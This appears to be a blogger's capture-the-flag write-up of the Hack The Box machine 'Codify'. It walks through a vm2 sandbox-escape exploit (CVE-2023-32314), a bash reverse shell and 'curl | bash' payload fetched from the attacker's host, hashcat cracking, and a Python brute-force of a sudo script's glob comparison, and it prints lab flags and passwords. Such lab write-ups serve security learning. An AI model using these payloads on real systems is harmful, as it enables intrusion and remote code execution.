Codify
Passionate cybersecurity enthusiast and red teamer, exploring the depths of offensive security. From secure code reviews to red team operations, I share insights, strategies, and hands-on experiences to help others dive into the world of cyber offense. Join me as I navigate the complexities of cybersecurity on my journey to professional red teaming.

IP: 10.10.11.239 Starting with the nmap scan
nmap -sC -sV -o nmap 10.10.11.239
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 05:33 EDT
Nmap scan report for 10.10.11.239
Host is up (0.20s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.10 seconds
So as we can see we have only 3 ports open 22, 80, 3000 on port 3000 we have a Node.js framework running. So let's add that to our host file and let's explore the webpage
sudo nano /etc/hosts

Now let's visit the webpage.

we have an about us page let's explore that first

As we can see here It says it is using the vm2 library to run Javascript code in a sandbox environment. Doing some Google research we found a CVE

So here we have found CVE-2023-32314

Moving to the Editor page and then trying to exploit the above code
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("cat /etc/passwd").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
So we modified the exploit to see if we can have a look in the passwd file

And yes, we can see the content of the /etc/passwd file now let's create a bash script and try to get a reverse shell.
sudo nano shell.sh
#! /bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.64/1337 0>&1'

Now let's set up a python server and get a shell
python3 -m http.server 9000

Now modify the script with our payload
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("curl http://10.10.14.64:9000/shell.sh|bash").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked

We got a hit on our server

Now let's check our netcat listener
rlwrap nc -nlvp 1337

So we are logged in as svc user

we have a user named Joshua let's try to find something to switch users. While enumerating on the website portal we found an interesting thing

In the /var/www/contact directory we can find tickets.db file. Take a look at the content.

we can see that there's a hash for the joshua user. Let's try to crack that.

We check the hashid of the hash captured
hashid hash.txt

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

so we got the password spongebob1 Now as we saw on our nmap scan we have port 22 ssh open so let's use that to gain the shell
ssh joshua@10.10.11.239

Now let's get our user.txt

Flag: b592024dc71df7e461888c5d50a8fb4b Now let's escalate our privileges to get the root flag. By running sudo -l we can see that we have root privileges to execute the mysql-backup.sh script.


The vulnerability in the script is related to how the password confirmation is handled
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
This section of the script compares the user-provided password (USER_PASS) with the actual database password (DB_PASS). The vulnerability here is due to the use of == inside in Bash, which performs pattern matching rather than direct string comparison. This means that the user input (USER_PASS) is treated as a pattern, and if it includes glob characters like * or ? it can potentially match unintended strings. For example, if the actual password (DB_PASS) is password123 and the user enters * as their password (USER_PASS), the pattern match will succeed because * matches any string, resulting in unauthorized access. This means we can brute force every char in the DB_PASS. Now let's use a custom python script that exploits this by testing password prefixes and suffixes to slowly reveal the full password. It builds up the password character by character, confirming each guess by invoking the script via sudo and checking for a successful run.
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True

Now let's run this script to get the password.
python3 exploit.py

So we got the password kljh12k3jhaskjh12kjh3. Now let's change our user to root.
su root

Time for our final flag root.txt

Flag: 27668e638861d973df7570af9f520528




